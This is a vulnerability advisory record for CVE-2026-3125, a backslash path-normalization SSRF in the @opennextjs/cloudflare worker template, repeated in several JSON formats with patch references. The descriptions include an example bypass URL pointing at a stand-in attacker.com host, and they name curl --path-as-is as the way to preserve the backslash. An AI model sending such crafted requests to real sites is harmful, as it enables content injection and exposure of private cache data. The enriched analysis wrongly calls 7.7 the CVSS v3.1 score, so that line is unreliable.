CVE-2026-3125

{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-3125", "assignerOrgId": "a22f1246-ba21-4bb4-a601-ad51614c1513", "state": "PUBLISHED", "assignerShortName": "cloudflare", "dateReserved": "2026-02-24T14:15:54.385Z", "datePublished": "2026-03-04T18:14:31.111Z", "dateUpdated": "2026-03-04T18:58:56.614Z"}, "containers": {"cna": {"affected": [{"collectionURL": "https://www.npmjs.com/package/@opennextjs/cloudflare", "defaultStatus": "unaffected", "modules": ["packages/cloudflare/src/cli/templates/worker.ts"], "packageName": "@opennextjs/cloudflare", "platforms": ["Cloudflare Workers"], "product": "@opennextjs/cloudflare", "repo": "https://github.com/opennextjs/opennextjs-cloudflare", "vendor": "opennextjs", "versions": [{"lessThan": "1.17.1", "status": "affected", "version": "0", "versionType": "npm"}]}], "credits": [{"lang": "en", "type": "finder", "value": "https://x.com/ez_z3r"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p><span style=\"background-color: transparent;\">A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.</span><span style=\"background-color: transparent;\">The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.</span></p><p><span style=\"background-color: transparent;\">For example: </span></p><p><span style=\"background-color: transparent;\"><a target=\"_blank\" rel=\"nofollow\" href=\"https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com\">https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com</a></span></p><p><span style=\"background-color: transparent;\">In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.</span></p><p><span style=\"background-color: transparent;\">Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.</span></p><span style=\"background-color: transparent;\">Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi</span><span style=\"background-color: transparent;\">\\.</span><span style=\"background-color: transparent;\">.. instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.</span><br>"}], "value": "A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.\n\nFor example: \n\n https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com \n\nIn this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.\n\nNote: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.\n\nAdditionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass."}], "impacts": [{"capecId": "CAPEC-664", "descriptions": [{"lang": "en", "value": "CAPEC-664 Server Side Request Forgery"}]}, {"capecId": "CAPEC-267", "descriptions": [{"lang": "en", "value": "CAPEC-267 Leverage Alternate Encoding"}]}], "metrics": [{"cvssV4_0": {"Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "baseScore": 7.7, "baseSeverity": "HIGH", "exploitMaturity": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-918", "description": "CWE-918 Server-Side Request Forgery (SSRF)", "lang": "en", "type": "CWE"}]}, {"descriptions": [{"cweId": "CWE-706", "description": "CWE-706 Use of Incorrectly-Resolved Name or Reference", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "a22f1246-ba21-4bb4-a601-ad51614c1513", "shortName": "cloudflare", "dateUpdated": "2026-03-04T18:14:31.111Z"}, "references": [{"tags": ["patch"], "url": "https://github.com/opennextjs/opennextjs-cloudflare/pull/1147"}, {"tags": ["product"], "url": "https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1"}, {"tags": ["related"], "url": "https://github.com/advisories/GHSA-rvpw-p7vw-wj3m"}, {"tags": ["related"], "url": "https://www.cve.org/cverecord?id=CVE-2025-6087"}], "solutions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p><span style=\"background-color: transparent;\">Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.</span></p><br><br>"}], "value": "Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers."}, {"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p><span style=\"background-color: transparent;\">In addition to the platform level fix, </span><a target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1147\"><span style=\"background-color: transparent;\">root cause fix</span></a><span style=\"background-color: transparent;\"> has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (</span><a target=\"_blank\" rel=\"nofollow\" href=\"https://www.npmjs.com/package/@opennextjs/cloudflare\"><span style=\"background-color: transparent;\">https://www.npmjs.com/package/@opennextjs/cloudflare</span></a><span style=\"background-color: transparent;\">)</span></p><br><br>"}], "value": "In addition to the platform level fix, root cause fix https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 ( https://www.npmjs.com/package/@opennextjs/cloudflare https://www.npmjs.com/package/@opennextjs/cloudflare )"}, {"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<a target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1150\"><span style=\"background-color: transparent;\">Dependency update</span></a><span style=\"background-color: transparent;\"> to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next.</span><br>"}], "value": "Dependency update https://github.com/opennextjs/opennextjs-cloudflare/pull/1150 to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next."}], "source": {"discovery": "UNKNOWN"}, "title": "SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass", "x_generator": {"engine": "Vulnogram 0.5.0"}}, "adp": [{"metrics": [{"other": {"type": "ssvc", "content": {"timestamp": "2026-03-04T18:58:41.207814Z", "id": "CVE-2026-3125", "options": [{"Exploitation": "none"}, {"Automatable": "yes"}, {"Technical Impact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2026-03-04T18:58:56.614Z"}}]}}

{"dataType": "CVE_RECORD", "containers": {"adp": [{"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2026-3125", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "yes"}, {"Technical Impact": "partial"}], "version": "2.0.3", "timestamp": "2026-03-04T18:58:41.207814Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2026-03-04T18:58:46.967Z"}}], "cna": {"title": "SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass", "source": {"discovery": "UNKNOWN"}, "credits": [{"lang": "en", "type": "finder", "value": "https://x.com/ez_z3r"}], "impacts": [{"capecId": "CAPEC-664", "descriptions": [{"lang": "en", "value": "CAPEC-664 Server Side Request Forgery"}]}, {"capecId": "CAPEC-267", "descriptions": [{"lang": "en", "value": "CAPEC-267 Leverage Alternate Encoding"}]}], "metrics": [{"format": "CVSS", "cvssV4_0": {"Safety": "NOT_DEFINED", "version": "4.0", "Recovery": "NOT_DEFINED", "baseScore": 7.7, "Automatable": "NOT_DEFINED", "attackVector": "NETWORK", "baseSeverity": "HIGH", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N", "exploitMaturity": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED", "userInteraction": "NONE", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "subIntegrityImpact": "NONE", "vulnIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "vulnConfidentialityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED"}, "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "affected": [{"repo": "https://github.com/opennextjs/opennextjs-cloudflare", "vendor": "opennextjs", "modules": ["packages/cloudflare/src/cli/templates/worker.ts"], "product": "@opennextjs/cloudflare", "versions": [{"status": "affected", "version": "0", "lessThan": "1.17.1", "versionType": "npm"}], "platforms": ["Cloudflare Workers"], "packageName": "@opennextjs/cloudflare", "collectionURL": "https://www.npmjs.com/package/@opennextjs/cloudflare", "defaultStatus": "unaffected"}], "solutions": [{"lang": "en", "value": "Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.", "supportingMedia": [{"type": "text/html", "value": "<p><span style=\"background-color: transparent;\">Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.</span></p><br><br>", "base64": false}]}, {"lang": "en", "value": "In addition to the platform level fix, root cause fix https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 ( https://www.npmjs.com/package/@opennextjs/cloudflare https://www.npmjs.com/package/@opennextjs/cloudflare )", "supportingMedia": [{"type": "text/html", "value": "<p><span style=\"background-color: transparent;\">In addition to the platform level fix, </span><a target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1147\"><span style=\"background-color: transparent;\">root cause fix</span></a><span style=\"background-color: transparent;\"> has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (</span><a target=\"_blank\" rel=\"nofollow\" href=\"https://www.npmjs.com/package/@opennextjs/cloudflare\"><span style=\"background-color: transparent;\">https://www.npmjs.com/package/@opennextjs/cloudflare</span></a><span style=\"background-color: transparent;\">)</span></p><br><br>", "base64": false}]}, {"lang": "en", "value": "Dependency update https://github.com/opennextjs/opennextjs-cloudflare/pull/1150 to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next.", "supportingMedia": [{"type": "text/html", "value": "<a target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/opennextjs/opennextjs-cloudflare/pull/1150\"><span style=\"background-color: transparent;\">Dependency update</span></a><span style=\"background-color: transparent;\"> to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next.</span><br>", "base64": false}]}], "references": [{"url": "https://github.com/opennextjs/opennextjs-cloudflare/pull/1147", "tags": ["patch"]}, {"url": "https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1", "tags": ["product"]}, {"url": "https://github.com/advisories/GHSA-rvpw-p7vw-wj3m", "tags": ["related"]}, {"url": "https://www.cve.org/cverecord?id=CVE-2025-6087", "tags": ["related"]}], "x_generator": {"engine": "Vulnogram 0.5.0"}, "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.\n\nFor example: \n\n https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com \n\nIn this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.\n\nNote: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.\n\nAdditionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.", "supportingMedia": [{"type": "text/html", "value": "<p><span style=\"background-color: transparent;\">A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.</span><span style=\"background-color: transparent;\">The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.</span></p><p><span style=\"background-color: transparent;\">For example: </span></p><p><span style=\"background-color: transparent;\"><a target=\"_blank\" rel=\"nofollow\" href=\"https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com\">https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com</a></span></p><p><span style=\"background-color: transparent;\">In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.</span></p><p><span style=\"background-color: transparent;\">Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.</span></p><span style=\"background-color: transparent;\">Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi</span><span style=\"background-color: transparent;\">\\.</span><span style=\"background-color: transparent;\">.. instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.</span><br>", "base64": false}]}], "problemTypes": [{"descriptions": [{"lang": "en", "type": "CWE", "cweId": "CWE-918", "description": "CWE-918 Server-Side Request Forgery (SSRF)"}]}, {"descriptions": [{"lang": "en", "type": "CWE", "cweId": "CWE-706", "description": "CWE-706 Use of Incorrectly-Resolved Name or Reference"}]}], "providerMetadata": {"orgId": "a22f1246-ba21-4bb4-a601-ad51614c1513", "shortName": "cloudflare", "dateUpdated": "2026-03-04T18:14:31.111Z"}}}, "cveMetadata": {"cveId": "CVE-2026-3125", "state": "PUBLISHED", "dateUpdated": "2026-03-04T18:58:56.614Z", "dateReserved": "2026-02-24T14:15:54.385Z", "assignerOrgId": "a22f1246-ba21-4bb4-a601-ad51614c1513", "datePublished": "2026-03-04T18:14:31.111Z", "assignerShortName": "cloudflare"}, "dataVersion": "5.2"}

{"affected": [{"affectedData": [{"collectionURL": "https://www.npmjs.com/package/@opennextjs/cloudflare", "defaultStatus": "unaffected", "modules": ["packages/cloudflare/src/cli/templates/worker.ts"], "packageName": "@opennextjs/cloudflare", "platforms": ["Cloudflare Workers"], "product": "@opennextjs/cloudflare", "repo": "https://github.com/opennextjs/opennextjs-cloudflare", "vendor": "opennextjs", "versions": [{"lessThan": "1.17.1", "status": "affected", "version": "0", "versionType": "npm"}]}], "source": "cna@cloudflare.com"}], "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:opennextjs:opennext_for_cloudflare:*:*:*:*:*:node.js:*:*", "matchCriteriaId": "FFD587A5-A6DA-4D83-9903-7AD395DE5744", "versionEndExcluding": "1.17.1", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.\n\nFor example: \n\n https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com \n\nIn this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.\n\nNote: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.\n\nAdditionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass."}, {"lang": "es", "value": "Una vulnerabilidad de falsificaci\u00f3n de petici\u00f3n del lado del servidor (SSRF) fue identificada en el paquete @opennextjs/cloudflare, resultante de un bypass de normalizaci\u00f3n de ruta en el gestor /cdn-cgi/image/. La plantilla de worker @opennextjs/cloudflare incluye un gestor /cdn-cgi/image/ destinado solo para uso en desarrollo. En producci\u00f3n, el edge de Cloudflare intercepta las peticiones /cdn-cgi/image/ antes de que lleguen al Worker. Sin embargo, al sustituir una barra invertida por una barra inclinada (/cdn-cgi\\image/ en lugar de /cdn-cgi/image/), un atacante puede eludir la intercepci\u00f3n del edge y hacer que la petici\u00f3n llegue directamente al Worker. La clase URL de JavaScript luego normaliza la barra invertida a una barra inclinada, haciendo que la petici\u00f3n coincida con el gestor y desencadene una obtenci\u00f3n no validada de URLs remotas arbitrarias.\n\nPor ejemplo:\n\nhttps://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com\n\nEn este ejemplo, contenido controlado por el atacante de attacker.com se sirve a trav\u00e9s del dominio del sitio v\u00edctima (victim-site.com), violando la pol\u00edtica de mismo origen y potencialmente enga\u00f1ando a usuarios u otros servicios.\n\nNota: Este bypass solo funciona a trav\u00e9s de clientes HTTP que preservan las barras invertidas en las rutas (p. ej., curl --path-as-is). Los navegadores normalizan las barras invertidas a barras inclinadas antes de enviar las peticiones.\n\nAdem\u00e1s, Cloudflare Workers con Assets y Cloudflare Pages sufren de una vulnerabilidad similar. Los Assets almacenados bajo rutas /cdn-cgi/ no son accesibles p\u00fablicamente bajo condiciones normales. Sin embargo, utilizando el mismo bypass de barra invertida (/cdn-cgi\\... en lugar de /cdn-cgi/...), estos assets se vuelven accesibles p\u00fablicamente. Esto podr\u00eda usarse para recuperar datos privados. Por ejemplo, los proyectos Open Next almacenan datos de cach\u00e9 incremental bajo /cdn-cgi/_next_cache, que podr\u00edan ser expuestos a trav\u00e9s de este bypass."}], "id": "CVE-2026-3125", "lastModified": "2026-06-17T10:43:05.107", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 2.5, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV40": [{"cvssData": {"Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 7.7, "baseSeverity": "HIGH", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED"}, "source": "cna@cloudflare.com", "type": "Secondary"}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"id": "CVE-2026-3125", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "timestamp": "2026-03-04T18:58:41.207814Z", "version": "2.0.3"}}]}, "published": "2026-03-04T19:16:19.730", "references": [{"source": "cna@cloudflare.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-rvpw-p7vw-wj3m"}, {"source": "cna@cloudflare.com", "tags": ["Issue Tracking", "Patch"], "url": "https://github.com/opennextjs/opennextjs-cloudflare/pull/1147"}, {"source": "cna@cloudflare.com", "tags": ["Third Party Advisory"], "url": "https://www.cve.org/cverecord?id=CVE-2025-6087"}, {"source": "cna@cloudflare.com", "tags": ["Product", "Release Notes"], "url": "https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1"}], "sourceIdentifier": "cna@cloudflare.com", "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-706"}, {"lang": "en", "value": "CWE-918"}], "source": "cna@cloudflare.com", "type": "Secondary"}, {"description": [{"lang": "en", "value": "CWE-918"}], "source": "nvd@nist.gov", "type": "Primary"}]}

{}

{"affected": [{"configurations": [{"platform": ["cloudflare_workers"], "status": "affected", "versions": {"scheme": "generic", "value": "[0,1.17.1)"}}], "enrichment": {"confidence": 90.0, "confidence_source": "matching", "scores": [{"score": 90.0, "source": "matching"}]}, "original": {"product": "@opennextjs/cloudflare", "source": "cna", "vendor": "opennextjs"}, "product": "opennext_for_cloudflare", "vendor": "opennextjs"}], "analysis": {"en": {"generated_at": "2026-04-18T10:00:24.370341+00:00", "value": {"mitigation_remediation": ["Update the @opennextjs/cloudflare adapter to version 1.17.1 or later, which includes the root\u2011cause fix that prevents the backslash normalization bypass.", "Deploy Cloudflare\u2019s platform update that blocks backslash path normalization bypasses for /cdn\u2011cgi requests, ensuring all existing and future sites on Cloudflare Workers are protected.", "Remove or disable any development\u2011only /cdn\u2011cgi/* handlers from production deployments, or implement strict whitelist checks on remote URLs before fetching to mitigate SSRF."], "summary": {"action": "Apply Patch", "impact": "Remote Server\u2011Side Request Forgery that allows arbitrary content to be fetched and served through the victim domain, exposing private data and violating the same\u2011origin policy"}, "threat_synthesis": {"affected_systems": "Installed versions of the @opennextjs/cloudflare Node.js package are vulnerable; it is inferred that any deployment using a version older than the patched release 1.17.1 is affected. The flaw also impacts Cloudflare Workers, Pages, and Assets environments that expose /cdn\u2011cgi/ paths, including the cache stored under /cdn\u2011cgi/_next_cache in Open Next projects.", "description_and_impact": "A Server\u2011Side Request Forgery flaw exists in the @opennextjs/cloudflare adapter for Cloudflare Workers. By replacing the forward slash in the /cdn\u2011cgi/image/ path with a backslash, the Cloudflare edge layer bypasses its request filtering and the backslash is normalized by JavaScript\u2019s URL class, enabling an attacker to trigger an unvalidated fetch of any remote URL. The retrieved content is then served through the victim\u2019s domain, breaking the same\u2011origin policy and potentially allowing malicious payloads or sensitive data to be displayed or further accessed by downstream services. The same bypass also exposes previously protected assets under /cdn\u2011cgi/ paths, such as the cached data stored under /cdn\u2011cgi/_next_cache in Open Next projects.", "risk_and_exploitability": "The flaw carries a CVSS v3.1 score of 7.7, marking it as high severity. The EPSS probability is less than 1%, indicating a low likelihood of exploitation. The vulnerability is not listed in CISA\u2019s KEV catalog. Attackers can exploit the bypass using HTTP clients that preserve backslashes, such as curl with the --path-as-is option; this limits the vector to non-browser clients but still permits automated or scripted attacks that could exfiltrate data or serve malicious content through the victim\u2019s domain."}}}}, "created": "2026-03-05T09:06:06.831561+00:00", "updated": "2026-04-18T10:15:25.852247+00:00", "vendors": ["opennextjs", "opennextjs$PRODUCT$opennext_for_cloudflare"]}